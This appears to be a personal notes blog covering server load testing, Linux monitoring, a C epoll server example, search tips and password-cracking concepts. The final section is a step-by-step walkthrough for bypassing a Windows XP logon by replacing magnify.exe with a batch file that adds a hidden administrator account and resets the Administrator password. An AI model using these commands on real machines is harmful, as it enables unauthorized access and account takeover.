program

linux server performance tools

web server performance test tools

  • AB(Apache Bench)

    ab -r -k -n 100000 -c 500 url

    -r 表示遇到错误继续
    -k 表示keepalive
    -n 表示总共请求的次数
    -c 表示每次请求的数量（即并发数）
    url即要请求的地址

以上命令表示请求总数达到10万后就停止

执行上面的命令前先使用ulimit -n 100000解除操作系统内的并发限制

watch ab -r -k -n 100000 -c 500 url

watch命令会自动重复执行，每次执行时，自动间隔2秒

以上命令表示请求达到10万次后，自动休息2秒，然后重新请求

设置watch的间隔时间

watch -d 3 ab -r -k -n 100000 -c 500 url

以上命令表示请求达到10万次后，自动休息3秒，然后重新请求

  • Nikto

  • piwik

linux server performance monitors tools

  • free -m

  • top , htop

  • ps

  • iostat

  • iftop

Reference

network

how to implement a http server in c on linux

1.use existing open source

  • Apache
  • Nginx

2.use librarys

  • Python HTTPServer / CGIHTTPServer
  • libevent

3.implement it in c

  • basic (learn from APUE/UNP)
    1.HTTP protocol(RFC 2616)
    2.TCP server(select/poll/epoll)
    3.multi-process model(fork, one proces per connection)
    4.multi-thread model(one thread per connection)
    5.IPC (interprocess communication)
    6.NON-Block I/O, edge trigger

  • advanced (learn from open source, lots pagers)
    1.performance optimists: memory cached, I/O(linux AIO), TCP/IP
    2.support CGI/FastCGI/WSGI/AJK
    3.support HTTPS
    4.dynamic modules
    5.support cluster

4.Reference

network

how to write a good web server

Server module

  • 1.select based server
    Advantage: easy to implement
    disadvantage: limit to fd, max is 1024 on most linux
  • 2./dev/poll based server
    Advantage:
    disadvantage: same to select
  • 3.epoll based server
    Advantage: fastly, not need to check each fd.
    disadvantage: do more coding
  • 4.thread based server
    Advantage: cheap to create, easy to share memory
    disadvantage: instability, crash thread make entry process down because all
    threads share the same addres space.
  • 5.process based server
    Advantage: stable, crash process do not effect others.
    disadvantage: create and kill processs overhead the web server.
  • 6.hybrid process thread server
    Advantage:
    disadvantage:
  • 7.process-pool and thread-pool based server
    process pool, reference
    dynamic-pool-of-processes
    Preforking: Process Pools
    3
    Advantage:
    disadvantage:
  • 8.event based server
    Advantage:
    disadvantage:

Biggest performance-killers

  • 1.Data copies
  • 2.Context switches
  • 3.Memory allocation
  • 4.Lock contention

Reference

storage

NAS storage system performance optimization

NAS

Network attach storage, there are two protocol NFS(Linux) and CIFS(windows)

NFS

1.use UDP or TCP
2.modify rsize and wsize
3.use sync or async

CIFS

1.smb or smb2
2.modify rsize and wsize
3.prefetch

Tools

Watch the memory,disk I/O and net speed.
1.vmstat
2.cat /proc/cpuinfo, /proc/meminfo, /proc/net/dev

Reference

language

epoll example in c

difference between slect poll and epoll

There are other reasons to avoid select and use epoll. When using select, you
don’t know how many descriptors need attention. So you must keep track of the
biggest and loop to it.

rc = select(...);
/* check rc */
for (s = 0; s <= maxfd; s++) {
    if (FD_ISSET(s)) {
        /* ... */
    }
}

Now with epoll it’s a lot cleaner:

nfds = epoll_wait(epollfd, events, MAX_EVENTS, -1);
/* check nfds */
for (n = 0; n < nfds; ++n) {
    /* events[n].data.fd needs attention */
}

do fork process before create_epoll

Epoll example in C

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/epoll.h>
#include <errno.h>

#define MAXEVENTS 64

static int
make_socket_non_blocking (int sfd)
{
    int flags, s;

    flags = fcntl (sfd, F_GETFL, 0);
    if (flags == -1)
    {
        perror ("fcntl");
        return -1;
    }

    flags |= O_NONBLOCK;
    s = fcntl (sfd, F_SETFL, flags);
    if (s == -1)
    {
        perror ("fcntl");
        return -1;
    }

    return 0;
}

static int
create_and_bind (char *port)
{
    struct addrinfo hints;
    struct addrinfo *result, *rp;
    int s, sfd;

    memset (&hints, 0, sizeof (struct addrinfo));
    hints.ai_family = AF_UNSPEC;     /* Return IPv4 and IPv6 choices */
    hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
    hints.ai_flags = AI_PASSIVE;     /* All interfaces */

    s = getaddrinfo (NULL, port, &hints, &result);
    if (s != 0)
    {
        fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
        return -1;
    }

    for (rp = result; rp != NULL; rp = rp->ai_next)
    {
        sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
        if (sfd == -1)
            continue;

        s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
        if (s == 0)
        {
            /* We managed to bind successfully! */
            break;
        }

        close (sfd);
    }

    if (rp == NULL)
    {
        fprintf (stderr, "Could not bind\n");
        return -1;
    }

    freeaddrinfo (result);

    return sfd;
}

int
main (int argc, char *argv[])
{
    int sfd, s;
    int efd;
    struct epoll_event event;
    struct epoll_event *events;

    if (argc != 2)
    {
        fprintf (stderr, "Usage: %s [port]\n", argv[0]);
        exit (EXIT_FAILURE);
    }

    sfd = create_and_bind (argv[1]);
    if (sfd == -1)
        abort ();

    s = make_socket_non_blocking (sfd);
    if (s == -1)
        abort ();

    s = listen (sfd, SOMAXCONN);
    if (s == -1)
    {
        perror ("listen");
        abort ();
    }

    efd = epoll_create1 (0);
    if (efd == -1)
    {
        perror ("epoll_create");
        abort ();
    }

    event.data.fd = sfd;
    event.events = EPOLLIN | EPOLLET;
    s = epoll_ctl (efd, EPOLL_CTL_ADD, sfd, &event);
    if (s == -1)
    {
        perror ("epoll_ctl");
        abort ();
    }

    /* Buffer where events are returned */
    events = calloc (MAXEVENTS, sizeof event);

    /* The event loop */
    while (1)
    {
        int n, i;

        n = epoll_wait (efd, events, MAXEVENTS, -1);
        for (i = 0; i < n; i++)
        {
            if ((events[i].events & EPOLLERR) ||
                    (events[i].events & EPOLLHUP) ||
                    (!(events[i].events & EPOLLIN)))
            {
                /* An error has occured on this fd, or the socket is not
                   ready for reading (why were we notified then?) */
                fprintf (stderr, "epoll error\n");
                close (events[i].data.fd);
                continue;
            }

            else if (sfd == events[i].data.fd)
            {
                /* We have a notification on the listening socket, which
                   means one or more incoming connections. */
                while (1)
                {
                    struct sockaddr in_addr;
                    socklen_t in_len;
                    int infd;
                    char hbuf[NI_MAXHOST], sbuf[NI_MAXSERV];

                    in_len = sizeof in_addr;
                    infd = accept (sfd, &in_addr, &in_len);
                    if (infd == -1)
                    {
                        if ((errno == EAGAIN) ||
                                (errno == EWOULDBLOCK))
                        {
                            /* We have processed all incoming
                               connections. */
                            break;
                        }
                        else
                        {
                            perror ("accept");
                            break;
                        }
                    }

                    s = getnameinfo (&in_addr, in_len,
                            hbuf, sizeof hbuf,
                            sbuf, sizeof sbuf,
                            NI_NUMERICHOST | NI_NUMERICSERV);
                    if (s == 0)
                    {
                        printf("Accepted connection on descriptor %d "
                                "(host=%s, port=%s)\n", infd, hbuf, sbuf);
                    }

                    /* Make the incoming socket non-blocking and add it to the
                       list of fds to monitor. */
                    s = make_socket_non_blocking (infd);
                    if (s == -1)
                        abort ();

                    event.data.fd = infd;
                    event.events = EPOLLIN | EPOLLET;
                    s = epoll_ctl (efd, EPOLL_CTL_ADD, infd, &event);
                    if (s == -1)
                    {
                        perror ("epoll_ctl");
                        abort ();
                    }
                }
                continue;
            }
            else
            {
                /* We have data on the fd waiting to be read. Read and
                   display it. We must read whatever data is available
                   completely, as we are running in edge-triggered mode
                   and won't get a notification again for the same
                   data. */
                int done = 0;

                while (1)
                {
                    ssize_t count;
                    char buf[512];

                    count = read (events[i].data.fd, buf, sizeof buf);
                    if (count == -1)
                    {
                        /* If errno == EAGAIN, that means we have read all
                           data. So go back to the main loop. */
                        if (errno != EAGAIN)
                        {
                            perror ("read");
                            done = 1;
                        }
                        break;
                    }
                    else if (count == 0)
                    {
                        /* End of file. The remote has closed the
                           connection. */
                        done = 1;
                        break;
                    }

                    /* Write the buffer to standard output */
                    s = write (1, buf, count);
                    if (s == -1)
                    {
                        perror ("write");
                        abort ();
                    }
                }

                if (done)
                {
                    printf ("Closed connection on descriptor %d\n",
                            events[i].data.fd);

                    /* Closing the descriptor will make epoll remove it
                       from the set of descriptors which are monitored. */
                    close (events[i].data.fd);
                }
            }
        }
    }

    free (events);

    close (sfd);

    return EXIT_SUCCESS;
}

Reference

others

search tips and tricks

Tips

  • search with specific site
    Precede your query with site: if you know you want your answer from within a
    specific site or type of site (.org, .edu). For example: site:edu or
    site:nytimes.com.

    op-ed site:nytimes.com

  • search by file type
    Search for specific types of files, such as PDFs, PPTs, or XLS, by adding
    filetype: and the 3-letter file abbreviation.

    affordable health care act filetype:ppt

  • get definition
    put define: in front of any word to get its definition.

    define: loquaciousness

Reference

others

how strong is your password

When we step into e-age, there are so many time we need to use internect to do
things, and then there are so many password we need to use, the password like a
key to the lock, we want the only-know guy is ourselves. But hackers can stole
them so easy, because we use too many weak password. Thinking, how can the
hackers do that, and how to avoid this things happen again, let us start to
study, to know what we need?

Questions

  • How to make a strong password?
  • How long to crack a password by person machine?
  • Is there any good and safe online site or software to calculate the strength
    of password?
  • How to calculate the strength of password?

Methods of crack

  • Dictionary attacks
    This is simple. The attackers just need to keep the 10^6 most common passwords
    in use, and check each of them once. This can be done well under one second.
    If your password is in the list, then it can probably be cracked nearly
    instantaneously.
  • Brute force
    If your password isn’t in a dictionary, then one other option is to use brute
    force. The time taken to crack a password using this method depends on (a) the
    length of the password, and (b) the symbol set that comprises the password.
  • Combined methods
    This relies on a combination of ingenuity and brute force. It’s a mix between
    the first two methods, and relies on common “password conventions” rather than
    common passwords.

Implement code

  • Implement with C [TODO]
  • Implement with other language [TODO]

Reference

windows

Hack windows xp logon password

Hack steps:

1.create a batch file, name magnify.bat
add code as below:

@net user hack 123456 /add

@net localgroup administrators hack /add

@exit

2.convert magnify.bat to magnify.exe by
bat2com.exe and com2exe.exe, then use
command as below:

bat2com.exe magnify.bat

com2exe.exe magnify.com

3.replace file c:/windows/system32/magnify.exe
there are many ways to done this, one way is
burn a WinPE system to a U-disk, then login
the WinPE syste to replace it, you can use
other system(such as linux live CD) also;
another way is mount the hard disk to other
computer to do it.

4.power on computer, type win+u to run magnify
at the logon screen. select and run the magnify program

5.use hack to login, then change the password of
administrator and delete hack in command line.
use commands as below:

net user (list user)

net localgroup administrators (list user belong to administrators group)

net user administrator 123456 (modify password)

net user hack /del (delete user)

6.reboot and enjoy.

Reference: